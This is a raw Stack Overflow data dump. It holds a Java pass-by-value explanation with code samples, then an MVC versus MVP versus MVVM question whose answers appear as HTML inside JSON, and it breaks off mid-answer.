When learning a new programming language, one of the possible roadblocks you might encounter is the question whether the language is, by default, *pass-by-value or pass-by-reference*. So here is my question to all of you, in your favorite language, *how* is it actually done? And what are the *possible pitfalls*? Your favorite language can, of course, be anything you have ever played with: [popular](http://www.ruby-lang.org/en/), [obscure](http://www.devtopics.com/a-obscure-programming-language-of-the-month/), [esoteric](http://en.wikipedia.org/wiki/Brainfuck), [new](http://www.nvidia.com/object/cuda_get.html), [old](http://en.wikipedia.org/wiki/FORTRAN)...
Here is my own contribution for the [Java programming language](http://en.wikipedia.org/wiki/Java_(programming_language)). first some code: ``` public void swap(int x, int y) { int tmp = x; x = y; y = tmp; } ``` calling this method will result in this: ``` int pi = 3; int everything = 42; swap(pi, everything); System.out.println("pi: " + pi); System.out.println("everything: " + everything); "Output: pi: 3 everything: 42" ``` even using 'real' objects will show a similar result: ``` public class MyObj { private String msg; private int number; //getters and setters public String getMsg() { return this.msg; } public void setMsg(String msg) { this.msg = msg; } public int getNumber() { return this.number; } public void setNumber(int number) { this.number = number; } //constructor public MyObj(String msg, int number) { setMsg(msg); setNumber(number); } } public static void swap(MyObj x, MyObj y) { MyObj tmp = x; x = y; y = tmp; } public static void main(String args[]) { MyObj x = new MyObj("Hello world", 1); MyObj y = new MyObj("Goodbye Cruel World", -1); swap(x, y); System.out.println(x.getMsg() + " -- "+ x.getNumber()); System.out.println(y.getMsg() + " -- "+ y.getNumber()); } "Output: Hello world -- 1 Goodbye Cruel World -- -1" ``` thus it is clear that Java passes its parameters **by value**, as the value for *pi* and *everything* and the *MyObj objects* aren't swapped. be aware that "by value" is the *only way* in java to pass parameters to a method. (for example a language like c++ allows the developer to pass a parameter by reference using '**&**' after the parameter's type) now the **tricky part**, or at least the part that will confuse most of the new java developers: (borrowed from [javaworld](http://www.javaworld.com/javaworld/javaqa/2000-05/03-qa-0526-pass.html)) Original author: Tony Sintes ``` public void tricky(Point arg1, Point arg2) { arg1.x = 100; arg1.y = 100; Point temp = arg1; arg1 = arg2; arg2 = temp; } public static void main(String [] args) { Point pnt1 = new Point(0,0); Point pnt2 = new Point(0,0); System.out.println("X: " + pnt1.x + " Y: " +pnt1.y); System.out.println("X: " + pnt2.x + " Y: " +pnt2.y); System.out.println(" "); tricky(pnt1,pnt2); System.out.println("X: " + pnt1.x + " Y:" + pnt1.y); System.out.println("X: " + pnt2.x + " Y: " +pnt2.y); } "Output X: 0 Y: 0 X: 0 Y: 0 X: 100 Y: 100 X: 0 Y: 0" ``` *tricky* successfully changes the value of pnt1! This would imply that Objects are passed by reference, this is not the case! A correct statement would be: **the *Object references* are passed by value.** more from Tony Sintes: > > The method successfully alters the > value of pnt1, even though it is > passed by value; however, a swap of > pnt1 and pnt2 fails! This is the major > source of confusion. In the main() > method, pnt1 and pnt2 are nothing more > than object references. When you pass > pnt1 and pnt2 to the tricky() method, > Java passes the references by value > just like any other parameter. This > means the references passed to the > method are actually copies of the > original references. Figure 1 below > shows two references pointing to the > same object after Java passes an > object to a method. > > > [![figure 1](https://i.stack.imgur.com/EXPyo.gif)](https://i.stack.imgur.com/EXPyo.gif) (source: [javaworld.com](http://www.javaworld.com/javaworld/javaqa/2000-05/images/03-qa-0512-pass2b.gif)) **Conclusion** or a long story short: * Java passes it parameters **by value** * *"by value"* is the **only way** in java to pass a parameter to a method * using *methods from the object* given as parameter **will alter** the object as the references point to the original objects. (if that method itself alters some values) useful links: * <http://www.javaworld.com/javaworld/javaqa/2000-05/03-qa-0526-pass.html> * <http://www.ibm.com/developerworks/java/library/j-passbyval/> * <http://www.ibm.com/developerworks/library/j-praxis/pr1.html> * <http://javadude.com/articles/passbyvalue.htm>
2,056
<p>When looking beyond the <a href="https://en.wikipedia.org/wiki/Rapid_application_development" rel="noreferrer">RAD</a> (drag-drop and configure) way of building user interfaces that many tools encourage you are likely to come across three design patterns called <a href="http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller" rel="noreferrer">Model-View-Controller</a>, <a href="http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93presenter" rel="noreferrer">Model-View-Presenter</a> and <a href="http://en.wikipedia.org/wiki/Model_View_ViewModel" rel="noreferrer">Model-View-ViewModel</a>. My question has three parts to it:</p> <ol> <li>What issues do these patterns address?</li> <li>How are they similar?</li> <li>How are they different?</li> </ol>
[ { "answer_id": 2067, "author": "Matt Mitchell", "author_id": 364, "author_profile": "https://Stackoverflow.com/users/364", "pm_score": 4, "selected": false, "text": "<p>Both of these frameworks aim to seperate concerns - for instance, interaction with a data source (model), application logic (or turning this data into useful information) (Controller/Presenter) and display code (View). In some cases the model can also be used to turn a data source into a higher level abstraction as well. A good example of this is the <a href=\"http://blog.wekeroad.com/mvc-storefront/\" rel=\"noreferrer\">MVC Storefront project</a>.</p>\n\n<p>There is a discussion <a href=\"http://codebetter.com/blogs/jeremy.miller/archive/2007/10/31/development-trivial-pursuit-the-difference-between-mvc-and-the-different-flavors-of-mvp.aspx\" rel=\"noreferrer\">here</a> regarding the differences between MVC vs MVP.</p>\n\n<p>The distinction made is that in an MVC application traditionally has the view and the controller interact with the model, but not with each other.</p>\n\n<p>MVP designs have the Presenter access the model and interact with the view.</p>\n\n<p>Having said that, ASP.NET MVC is by these definitions an MVP framework because the Controller accesses the Model to populate the View which is meant to have no logic (just displays the variables provided by the Controller).</p>\n\n<p>To perhaps get an idea of the ASP.NET MVC distinction from MVP, check out <a href=\"http://www.hanselman.com/blog/ASPNETMVCSessionAtMix08TDDAndMvcMockHelpers.aspx\" rel=\"noreferrer\">this MIX presentation</a> by Scott Hanselman.</p>\n" }, { "answer_id": 2068, "author": "Jon Limjap", "author_id": 372, "author_profile": "https://Stackoverflow.com/users/372", "pm_score": 9, "selected": false, "text": "<p>I blogged about this a while back, quoting on <a href=\"http://blogs.infragistics.com/blogs/todd_snyder/archive/2007/10/17/mvc-or-mvp-pattern-whats-the-difference.aspx\" rel=\"noreferrer\">Todd Snyder's excellent post on the difference between the two</a>:</p>\n\n<blockquote>\n <p>Here are the key differences between\n the patterns:</p>\n \n <p><strong>MVP Pattern</strong></p>\n \n <ul>\n <li>View is more loosely coupled to the model. The presenter is\n responsible for binding the model to\n the view.</li>\n <li>Easier to unit test because interaction with the view is through\n an interface</li>\n <li>Usually view to presenter map one to one. Complex views may have\n multi presenters.</li>\n </ul>\n \n <p><strong>MVC Pattern</strong></p>\n \n <ul>\n <li>Controller are based on behaviors and can be shared across\n views</li>\n <li>Can be responsible for determining which view to display</li>\n </ul>\n</blockquote>\n\n<p>It is the best explanation on the web I could find.</p>\n" }, { "answer_id": 2069, "author": "Brett Veenstra", "author_id": 307, "author_profile": "https://Stackoverflow.com/users/307", "pm_score": 5, "selected": false, "text": "<ul>\n<li>MVP = Model-View-Presenter</li>\n<li><p>MVC = Model-View-Controller</p>\n\n<ol>\n<li>Both presentation patterns. They separate the dependencies between a Model (think Domain objects), your screen/web page (the View), and how your UI is supposed to behave (Presenter/Controller)</li>\n<li>They are fairly similar in concept, folks initialize the Presenter/Controller differently depending on taste.</li>\n<li>A great article on the differences is <a href=\"http://www.infragistics.com/community/blogs/todd_snyder/archive/2007/10/17/mvc-or-mvp-pattern-whats-the-difference.aspx\" rel=\"noreferrer\">here</a>. Most notable is that MVC pattern has the Model updating the View.</li>\n</ol></li>\n</ul>\n" }, { "answer_id": 4087, "author": "Brian Leahy", "author_id": 580, "author_profile": "https://Stackoverflow.com/users/580", "pm_score": 7, "selected": false, "text": "<h3>MVP: the view is in charge.</h3>\n<p>The view, in most cases, creates its presenter. The presenter will interact with the model and manipulate the view through an interface. The view will sometimes interact with the presenter, usually through some interface. This comes down to implementation; do you want the view to call methods on the presenter or do you want the view to have events the presenter listens to? It boils down to this: The view knows about the presenter. The view delegates to the presenter.</p>\n<h3>MVC: the controller is in charge.</h3>\n<p>The controller is created or accessed based on some event/request. The controller then creates the appropriate view and interacts with the model to further configure the view. It boils down to: the controller creates and manages the view; the view is slave to the controller. The view does not know about the controller.</p>\n" }, { "answer_id": 5712, "author": "Jonas Follesø", "author_id": 1199387, "author_profile": "https://Stackoverflow.com/users/1199387", "pm_score": 5, "selected": false, "text": "<p>Also worth remembering is that there are different types of MVPs as well. Fowler has broken the pattern into two - Passive View and Supervising Controller.</p>\n\n<p>When using Passive View, your View typically implement a fine-grained interface with properties mapping more or less directly to the underlaying UI widget. For instance, you might have a ICustomerView with properties like Name and Address.</p>\n\n<p>Your implementation might look something like this:</p>\n\n<pre><code>public class CustomerView : ICustomerView\n{\n public string Name\n { \n get { return txtName.Text; }\n set { txtName.Text = value; }\n }\n}\n</code></pre>\n\n<p>Your Presenter class will talk to the model and \"map\" it to the view. This approach is called the \"Passive View\". The benefit is that the view is easy to test, and it is easier to move between UI platforms (Web, Windows/XAML, etc.). The disadvantage is that you can't leverage things like databinding (which is <em>really</em> powerful in frameworks like <a href=\"http://en.wikipedia.org/wiki/Windows_Presentation_Foundation\" rel=\"noreferrer\">WPF</a> and <a href=\"http://en.wikipedia.org/wiki/Microsoft_Silverlight\" rel=\"noreferrer\">Silverlight</a>).</p>\n\n<p>The second flavor of MVP is the Supervising Controller. In that case your View might have a property called Customer, which then again is databound to the UI widgets. You don't have to think about synchronizing and micro-manage the view, and the Supervising Controller can step in and help when needed, for instance with compled interaction logic.</p>\n\n<p>The third \"flavor\" of MVP (or someone would perhaps call it a separate pattern) is the Presentation Model (or sometimes referred to Model-View-ViewModel). Compared to the MVP you \"merge\" the M and the P into one class. You have your customer object which your UI widgets is data bound to, but you also have additional UI-spesific fields like \"IsButtonEnabled\", or \"IsReadOnly\", etc.</p>\n\n<p>I think the best resource I've found to UI architecture is the series of blog posts done by Jeremy Miller over at <a href=\"http://codebetter.com/blogs/jeremy.miller/archive/2007/07/25/the-build-your-own-cab-series-table-of-contents.aspx\" rel=\"noreferrer\">The Build Your Own CAB Series Table of Contents</a>. He covered all the flavors of MVP and showed C# code to implement them.</p>\n\n<p>I have also blogged about the Model-View-ViewModel pattern in the context of Silverlight over at <em><a href=\"http://jonas.follesoe.no/2008/07/19/youcard-re-visited-implementing-the-viewmodel-pattern\" rel=\"noreferrer\">YouCard Re-visited: Implementing the ViewModel pattern</a></em>.</p>\n" }, { "answer_id": 26933, "author": "Quibblesome", "author_id": 1143, "author_profile": "https://Stackoverflow.com/users/1143", "pm_score": 8, "selected": false, "text": "<p>MVP is <em>not</em> necessarily a scenario where the View is in charge (see Taligent's MVP for example).<br>\nI find it unfortunate that people are still preaching this as a pattern (View in charge) as opposed to an anti-pattern as it contradicts \"It's just a view\" (Pragmatic Programmer). \"It's just a view\" states that the final view shown to the user is a secondary concern of the application. Microsoft's MVP pattern renders re-use of Views much more difficult and <em>conveniently</em> excuses Microsoft's designer from encouraging bad practice.</p>\n\n<p>To be perfectly frank, I think the underlying concerns of MVC hold true for any MVP implementation and the differences are almost entirely semantic. As long as you are following separation of concerns between the view (that displays the data), the controller (that initialises and controls user interaction) and the model (the underlying data and/or services)) then you are achieving the benefits of MVC. If you are achieving the benefits then who really cares whether your pattern is MVC, MVP or Supervising Controller? The only <em>real</em> pattern remains as MVC, the rest are just differing flavours of it.</p>\n\n<p>Consider <a href=\"https://lostechies.com/derekgreer/2007/08/25/interactive-application-architecture/\" rel=\"noreferrer\">this</a> highly exciting article that comprehensively lists a number of these differing implementations. \nYou may note that they're all basically doing the same thing but slightly differently.</p>\n\n<p>I personally think MVP has only been recently re-introduced as a catchy term to either reduce arguments between semantic bigots who argue whether something is truly MVC or not or to justify Microsofts Rapid Application Development tools. Neither of these reasons in my books justify its existence as a separate design pattern.</p>\n" }, { "answer_id": 101561, "author": "Glenn Block", "author_id": 18419, "author_profile": "https://Stackoverflow.com/users/18419", "pm_score": 12, "selected": true, "text": "<h2>Model-View-Presenter</h2>\n<p>In <strong>MVP</strong>, the Presenter contains the UI business logic for the View. All invocations from the View delegate directly to the Presenter. The Presenter is also decoupled directly from the View and talks to it through an interface. This is to allow mocking of the View in a unit test. One common attribute of MVP is that there has to be a lot of two-way dispatching. For example, when someone clicks the &quot;Save&quot; button, the event handler delegates to the Presenter's &quot;OnSave&quot; method. Once the save is completed, the Presenter will then call back the View through its interface so that the View can display that the save has completed.</p>\n<p>MVP tends to be a very natural pattern for achieving separated presentation in WebForms. The reason is that the View is always created first by the ASP.NET runtime. You can <a href=\"https://web.archive.org/web/20071211153445/http://www.codeplex.com/websf/Wiki/View.aspx?title=MVPDocumentation\" rel=\"noreferrer\">find out more about both variants</a>.</p>\n<h3>Two primary variations</h3>\n<p><strong>Passive View:</strong> The View is as dumb as possible and contains almost zero logic. A Presenter is a middle man that talks to the View and the Model. The View and Model are completely shielded from one another. The Model may raise events, but the Presenter subscribes to them for updating the View. In Passive View there is no direct data binding, instead, the View exposes setter properties that the Presenter uses to set the data. All state is managed in the Presenter and not the View.</p>\n<ul>\n<li>Pro: maximum testability surface; clean separation of the View and Model</li>\n<li>Con: more work (for example all the setter properties) as you are doing all the data binding yourself.</li>\n</ul>\n<p><strong>Supervising Controller:</strong> The Presenter handles user gestures. The View binds to the Model directly through data binding. In this case, it's the Presenter's job to pass off the Model to the View so that it can bind to it. The Presenter will also contain logic for gestures like pressing a button, navigation, etc.</p>\n<ul>\n<li>Pro: by leveraging data binding the amount of code is reduced.</li>\n<li>Con: there's a less testable surface (because of data binding), and there's less encapsulation in the View since it talks directly to the Model.</li>\n</ul>\n<h2>Model-View-Controller</h2>\n<p>In the <strong>MVC</strong>, the Controller is responsible for determining which View to display in response to any action including when the application loads. This differs from MVP where actions route through the View to the Presenter. In MVC, every action in the View correlates with a call to a Controller along with an action. In the web, each action involves a call to a URL on the other side of which there is a Controller who responds. Once that Controller has completed its processing, it will return the correct View. The sequence continues in that manner throughout the life of the application:</p>\n<pre>\n Action in the View\n -> Call to Controller\n -> Controller Logic\n -> Controller returns the View.\n</pre>\n<p>One other big difference about MVC is that the View does not directly bind to the Model. The view simply renders and is completely stateless. In implementations of MVC, the View usually will not have any logic in the code behind. This is contrary to MVP where it is absolutely necessary because, if the View does not delegate to the Presenter, it will never get called.</p>\n<h2>Presentation Model</h2>\n<p>One other pattern to look at is the <strong>Presentation Model</strong> pattern. In this pattern, there is no Presenter. Instead, the View binds directly to a Presentation Model. The Presentation Model is a Model crafted specifically for the View. This means this Model can expose properties that one would never put on a domain model as it would be a violation of separation-of-concerns. In this case, the Presentation Model binds to the domain model and may subscribe to events coming from that Model. The View then subscribes to events coming from the Presentation Model and updates itself accordingly. The Presentation Model can expose commands which the view uses for invoking actions. The advantage of this approach is that you can essentially remove the code-behind altogether as the PM completely encapsulates all of the behavior for the view. This pattern is a very strong candidate for use in WPF applications and is also called <a href=\"http://msdn.microsoft.com/en-us/magazine/dd419663.aspx\" rel=\"noreferrer\">Model-View-ViewModel</a>.</p>\n<p>There is a <a href=\"http://msdn.microsoft.com/en-us/library/ff921080.aspx\" rel=\"noreferrer\">MSDN article about the Presentation Model</a> and a section in the <a href=\"http://msdn.microsoft.com/en-us/library/cc707819.aspx\" rel=\"noreferrer\">Composite Application Guidance for WPF</a> (former Prism) about <a href=\"http://msdn.microsoft.com/en-us/library/cc707862.aspx\" rel=\"noreferrer\">Separated Presentation Patterns</a></p>\n" }, { "answer_id": 110908, "author": "Nikola Malovic", "author_id": 19934, "author_profile": "https://Stackoverflow.com/users/19934", "pm_score": 4, "selected": false, "text": "<p>Both are patterns trying to separate presentation and business logic, decoupling business logic from UI aspects</p>\n\n<p>Architecturally, MVP is Page Controller based approach where MVC is Front Controller based approach. \nThat means that in MVP standard web form page life cycle is just enhanced by extracting the business logic from code behind. In other words, page is the one servicing http request. In other words, MVP IMHO is web form evolutionary type of enhancement.\nMVC on other hand changes completely the game because the request gets intercepted by controller class before page is loaded, the business logic is executed there and then at the end result of controller processing the data just dumped to the page (\"view\")\nIn that sense, MVC looks (at least to me) a lot to Supervising Controller flavor of MVP enhanced with routing engine </p>\n\n<p>Both of them enable TDD and have downsides and upsides. </p>\n\n<p>Decision on how to choose one of them IMHO should be based on how much time one invested in ASP NET web form type of web development. \nIf one would consider himself good in web forms, I would suggest MVP. \nIf one would feel not so comfortable in things such as page life cycle etc MVC could be a way to go here.</p>\n\n<p>Here's yet another blog post link giving a little bit more details on this topic </p>\n\n<p><a href=\"http://blog.vuscode.com/malovicn/archive/2007/12/18/model-view-presenter-mvp-vs-model-view-controller-mvc.aspx\" rel=\"noreferrer\">http://blog.vuscode.com/malovicn/archive/2007/12/18/model-view-presenter-mvp-vs-model-view-controller-mvc.aspx</a></p>\n" }, { "answer_id": 406470, "author": "Pedro Santos", "author_id": 50850, "author_profile": "https://Stackoverflow.com/users/50850", "pm_score": 3, "selected": false, "text": "<p>I have used both MVP and MVC and although we as developers tend to focus on the technical differences of both patterns the point for MVP in IMHO is much more related to ease of adoption than anything else. </p>\n\n<p>If I’m working in a team that already as a good background on web forms development style it’s far easier to introduce MVP than MVC. I would say that MVP in this scenario is a quick win. </p>\n\n<p>My experience tells me that moving a team from web forms to MVP and then from MVP to MVC is relatively easy; moving from web forms to MVC is more difficult.</p>\n\n<p>I leave here a link to a series of articles a friend of mine has published about MVP and MVC.</p>\n\n<p><a href=\"http://www.qsoft.be/post/Building-the-MVP-StoreFront-Gutthrie-style.aspx\" rel=\"noreferrer\">http://www.qsoft.be/post/Building-the-MVP-StoreFront-Gutthrie-style.aspx</a></p>\n" }, { "answer_id": 14985493, "author": "Hibou57", "author_id": 279335, "author_profile": "https://Stackoverflow.com/users/279335", "pm_score": 3, "selected": false, "text": "<p>My humble short view: MVP is for large scales, and MVC for tiny scales. With MVC, I sometime feel the V and the C may be seen a two sides of a single indivisible component rather directly bound to M, and one inevitably falls to this when going down‑to shorter scales, like UI controls and base widgets. At this level of granularity, MVP makes little sense. When one on the contrary go to larger scales, proper interface becomes more important, the same with unambiguous assignment of responsibilities, and here comes MVP.</p>\n\n<p>On the other hand, this scale rule of a thumb, may weight very little when the platform characteristics favours some kind of relations between the components, like with the web, where it seems to be easier to implement MVC, more than MVP.</p>\n" }, { "answer_id": 16993091, "author": "James Roeiter", "author_id": 1135393, "author_profile": "https://Stackoverflow.com/users/1135393", "pm_score": 3, "selected": false, "text": "<p>In MVP the view draws data from the presenter which draws and prepares/normalizes data from the model while in MVC the controller draws data from the model and set, by push in the view.</p>\n\n<p>In MVP you can have a single view working with multiple types of presenters and a single presenter working with different multiple views.</p>\n\n<p>MVP usually uses some sort of a binding framework, such as Microsoft WPF binding framework or various binding frameworks for HTML5 and Java. </p>\n\n<p>In those frameworks, the UI/HTML5/XAML, is aware of what property of the presenter each UI element displays, so when you bind a view to a presenter, the view looks for the properties and knows how to draw data from them and how to set them when a value is changed in the UI by the user.</p>\n\n<p>So, if for example, the model is a car, then the presenter is some sort of a car presenter, exposes the car properties (year, maker, seats, etc.) to the view. The view knows that the text field called 'car maker' needs to display the presenter Maker property. </p>\n\n<p>You can then bind to the view many different types of presenter, all must have Maker property - it can be of a plane, train or what ever , the view doesn't care. The view draws data from the presenter - no matter which - as long as it implements an agreed interface.</p>\n\n<p>This binding framework, if you strip it down, it's actually the controller :-) </p>\n\n<p>And so, you can look on MVP as an evolution of MVC. </p>\n\n<p>MVC is great, but the problem is that usually its controller per view. Controller A knows how to set fields of View A. If now, you want View A to display data of model B, you need Controller A to know model B, or you need Controller A to receive an object with an interface - which is like MVP only without the bindings, or you need to rewrite the UI set code in Controller B.</p>\n\n<p>Conclusion - MVP and MVC are both decouple of UI patterns, but MVP usually uses a bindings framework which is MVC underneath. THUS MVP is at a higher architectural level than MVC and a wrapper pattern above of MVC.</p>\n" }, { "answer_id": 17507611, "author": "Phyxx", "author_id": 157605, "author_profile": "https://Stackoverflow.com/users/157605", "pm_score": 9, "selected": false, "text": "<p>This is an oversimplification of the many variants of these design patterns, but this is how I like to think about the differences between the two.</p>\n\n<p><strong>MVC</strong></p>\n\n<p><img src=\"https://i.stack.imgur.com/X3CAF.png\" alt=\"MVC\"></p>\n\n<p><strong>MVP</strong></p>\n\n<p><img src=\"https://i.stack.imgur.com/Pa0iB.png\" alt=\"enter image description here\"></p>\n" }, { "answer_id": 25816573, "author": "Ashraf Bashir", "author_id": 202940, "author_profile": "https://Stackoverflow.com/users/202940", "pm_score": 8, "selected": false, "text": "<p>Here are illustrations which represent communication flow<br/></p>\n\n<p><img src=\"https://i.stack.imgur.com/t2kzD.png\" alt=\"enter image description here\"> <br /><br />\n<img src=\"https://i.stack.imgur.com/adMfR.png\" alt=\"enter image description here\"></p>\n" }, { "answer_id": 32470069, "author": "onmyway133", "author_id": 1418457, "author_profile": "https://Stackoverflow.com/users/1418457", "pm_score": 3, "selected": false, "text": "<p>There are many versions of MVC, this answer is about the original MVC in Smalltalk. In brief, it is\n<a href=\"https://i.stack.imgur.com/aebJI.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/aebJI.png\" alt=\"image of mvc vs mvp\"></a></p>\n\n<p>This talk <a href=\"https://www.youtube.com/watch?v=i1-7S-RxfvQ\" rel=\"noreferrer\">droidcon NYC 2017 - Clean app design with Architecture Components</a> clarifies it</p>\n\n<p><a href=\"https://i.stack.imgur.com/wPqMA.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/wPqMA.png\" alt=\"enter image description here\"></a>\n<a href=\"https://i.stack.imgur.com/fTNfE.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/fTNfE.png\" alt=\"enter image description here\"></a></p>\n" }, { "answer_id": 34377336, "author": "AVI", "author_id": 5222902, "author_profile": "https://Stackoverflow.com/users/5222902", "pm_score": 6, "selected": false, "text": "<p><a href=\"https://i.stack.imgur.com/A7cSy.jpg\"><img src=\"https://i.stack.imgur.com/A7cSy.jpg\" alt=\"enter image description here\"></a></p>\n\n<p><strong>MVC (Model View Controller)</strong></p>\n\n<p>The input is directed at the Controller first, not the view. That input might be coming from a user interacting with a page, but it could also be from simply entering a specific url into a browser. In either case, its a Controller that is interfaced with to kick off some functionality.\nThere is a many-to-one relationship between the Controller and the View. That’s because a single controller may select different views to be rendered based on the operation being executed.\nNote the one way arrow from Controller to View. This is because the View doesn’t have any knowledge of or reference to the controller.\nThe Controller does pass back the Model, so there is knowledge between the View and the expected Model being passed into it, but not the Controller serving it up.</p>\n\n<p><strong>MVP (Model View Presenter)</strong></p>\n\n<p>The input begins with the View, not the Presenter.\nThere is a one-to-one mapping between the View and the associated Presenter.\nThe View holds a reference to the Presenter. The Presenter is also reacting to events being triggered from the View, so its aware of the View its associated with.\nThe Presenter updates the View based on the requested actions it performs on the Model, but the View is not Model aware.</p>\n\n<p>For more <a href=\"http://geekswithblogs.net/dlussier/archive/2009/11/21/136454.aspx\">Reference</a></p>\n" }, { "answer_id": 34735827, "author": "marvelTracker", "author_id": 755120, "author_profile": "https://Stackoverflow.com/users/755120", "pm_score": 0, "selected": false, "text": "<p><strong>MVP</strong></p>\n\n<p>MVP stands for Model - View- Presenter. This came to a picture in early 2007 where Microsoft introduced Smart Client windows applications. </p>\n\n<p>A presenter is acting as a supervisory role in MVP which binding View events and business logic from models.</p>\n\n<p>View event binding will be implemented in the Presenter from a view interface. </p>\n\n<p>The view is the initiator for user inputs and then delegates the events to the Presenter and the presenter handles event bindings and gets data from models.</p>\n\n<p><strong>Pros:</strong>\n The view is having only UI not any logics\n High level of testability </p>\n\n<p><strong>Cons:</strong>\n Bit complex and more work when implementing event bindings</p>\n\n<p><strong>MVC</strong></p>\n\n<p>MVC stands for Model-View-Controller. Controller is responsible for creating models and rendering views with binding models. </p>\n\n<p>Controller is the initiator and it decides which view to render. </p>\n\n<p><strong>Pros:</strong>\n Emphasis on Single Responsibility Principle\n High level of testability </p>\n\n<p><strong>Cons:</strong>\n Sometimes too much workload for Controllers, if try to render multiple views in same controller. </p>\n" }, { "answer_id": 47335855, "author": "Clive Jefferies", "author_id": 447549, "author_profile": "https://Stackoverflow.com/users/447549", "pm_score": 3, "selected": false, "text": "<p>The simplest answer is how the view interacts with the model. In MVP the view is updated by the presenter, which acts as as intermediary between the view and the model. The presenter takes the input from the view, which retrieves the data from the model and then performs any business logic required and then updates the view. In MVC the model updates the view directly rather than going back through the controller.</p>\n" }, { "answer_id": 47550217, "author": "Rahul", "author_id": 6138892, "author_profile": "https://Stackoverflow.com/users/6138892", "pm_score": 5, "selected": false, "text": "<p><strong>Model-View-Controller</strong></p>\n\n<p><strong>MVC</strong> is a pattern for the architecture of a software application. It separate the application logic into three separate parts, promoting modularity and ease of collaboration and reuse. It also makes applications more flexible and welcoming to iterations.It separates an application into the following components:</p>\n\n<ul>\n<li><strong>Models</strong> for handling data and business logic</li>\n<li><strong>Controllers</strong> for handling the user interface and application</li>\n<li><strong>Views</strong> for handling graphical user interface objects and presentation</li>\n</ul>\n\n<p>To make this a little more clear, let's imagine a simple shopping list app. All we want is a list of the name, quantity and price of each item we need to buy this week. Below we'll describe how we could implement some of this functionality using MVC.</p>\n\n<p><a href=\"https://i.stack.imgur.com/xjBSZ.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/xjBSZ.png\" alt=\"enter image description here\"></a></p>\n\n<p><strong>Model-View-Presenter</strong></p>\n\n<ul>\n<li>The <strong>model</strong> is the data that will be displayed in the view (user interface).</li>\n<li>The <strong>view</strong> is an interface that displays data (the model) and routes user commands (events) to the Presenter to act upon that data. The view usually has a reference to its Presenter.</li>\n<li>The <strong>Presenter</strong> is the “middle-man” (played by the controller in MVC) and has references to both, view and model. <strong>Please note that the word “Model”</strong> is misleading. It should rather be <strong>business logic that retrieves or manipulates a Model</strong>. For instance: If you have a database storing User in a database table and your View wants to display a list of users, then the Presenter would have a reference to your database business logic (like a DAO) from where the Presenter will query a list of Users.</li>\n</ul>\n\n<blockquote>\n <p>If you want to see a sample with simple implementation please check\n <a href=\"https://github.com/rahulabrol/Messanger\" rel=\"noreferrer\">this</a> GitHub post</p>\n</blockquote>\n\n<p>A concrete workflow of querying and displaying a list of users from a database could work like this:\n<a href=\"https://i.stack.imgur.com/QwKUW.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/QwKUW.png\" alt=\"enter image description here\"></a></p>\n\n<blockquote>\n <p>What is the <strong>difference</strong> between <strong>MVC</strong> and <strong>MVP</strong> patterns?</p>\n</blockquote>\n\n<p><strong>MVC Pattern</strong></p>\n\n<ul>\n<li><p>Controller are based on behaviors and can be shared across views</p></li>\n<li><p>Can be responsible for determining which view to display (Front Controller Pattern)</p></li>\n</ul>\n\n<p><strong>MVP Pattern</strong></p>\n\n<ul>\n<li><p>View is more loosely coupled to the model. The presenter is responsible for binding the model to the view.</p></li>\n<li><p>Easier to unit test because interaction with the view is through an interface</p></li>\n<li><p>Usually view to presenter map one to one. Complex views may have multi presenters.</p></li>\n</ul>\n" }, { "answer_id": 48452128, "author": "stdout", "author_id": 1388943, "author_profile": "https://Stackoverflow.com/users/1388943", "pm_score": 3, "selected": false, "text": "<p>There is <a href=\"https://www.youtube.com/watch?v=WpkDN78P884&amp;feature=youtu.be&amp;t=29m1s\" rel=\"nofollow noreferrer\">this</a> nice video from Uncle Bob where he briefly explains <strong>MVC</strong> &amp; <strong>MVP</strong> at the end.</p>\n\n<p>IMO, MVP is an improved version of MVC where you basically separate the concern of what you're gonna show (the data) from how you're gonna show (the view). The presenter includes kinda the business logic of your UI, implicitly imposes what data should be presented and gives you a list of dumb view models. And when the time comes to show the data, you simply plug your view (probably includes the same id's) into your adapter and set the relevant view fields using those view models with a minimum amount of code being introduced (just using setters). Its main benefit is you can test your UI business logic against many/various views like showing items in a horizontal list or vertical list. </p>\n\n<p>In MVC, we talk through interfaces (boundaries) to glue different layers. A controller is a plug-in to our architecture but it has no such a restriction to impose what to show. In that sense, MVP is kind of an MVC with a concept of views being pluggable to the controller over adapters. </p>\n\n<p>I hope this helps better.</p>\n" }, { "answer_id": 49694378, "author": "Ali Nem", "author_id": 4514796, "author_profile": "https://Stackoverflow.com/users/4514796", "pm_score": 6, "selected": false, "text": "<p>There are many answers to the question, but I felt there is a need for some really simple answer clearly comparing the two. Here's the discussion I made up when a user searches for a movie name in an MVP and MVC app:</p>\n<p>User: Click click …</p>\n<p><em>View</em>: Who’s that? [<strong>MVP</strong>|<strong>MVC</strong>]</p>\n<p>User: I just clicked on the search button …</p>\n<p><em>View</em>: Ok, hold on a sec … . [<strong>MVP</strong>|<strong>MVC</strong>]</p>\n<p>( <em>View</em> calling the <em>Presenter</em>|<em>Controller</em> … ) [<strong>MVP</strong>|<strong>MVC</strong>]</p>\n<p><em>View</em>: Hey <em>Presenter</em>|<em>Controller</em>, a User has just clicked on the search button, what shall I do? [<strong>MVP</strong>|<strong>MVC</strong>]</p>\n<p><em>Presenter</em>|<em>Controller</em>: Hey <em>View</em>, is there any search term on that page? [<strong>MVP</strong>|<strong>MVC</strong>]</p>\n<p><em>View</em>: Yes,… here it is … “piano” [<strong>MVP</strong>|<strong>MVC</strong>]</p>\n<p><em>Presenter</em>|<em>Controller</em>: Thanks <em>View</em>,… meanwhile I’m looking up the search term on the <em>Model</em>, please show him/her a progress bar [<strong>MVP</strong>|<strong>MVC</strong>]</p>\n<p>( <em>Presenter</em>|<em>Controller</em> is calling the <em>Model</em> … ) [<strong>MVP</strong>|<strong>MVC</strong>]</p>\n<p><em>Presenter</em>|<em>Controller</em>: Hey <em>Model</em>, Do you have any match for this search term?: “piano” [<strong>MVP</strong>|<strong>MVC</strong>]</p>\n<p><em>Model</em>: Hey <em>Presenter</em>|<em>Controller</em>, let me check … [<strong>MVP</strong>|<strong>MVC</strong>]</p>\n<p>( <em>Model</em> is making a query to the movie database … ) [<strong>MVP</strong>|<strong>MVC</strong>]</p>\n<p>( After a while ... 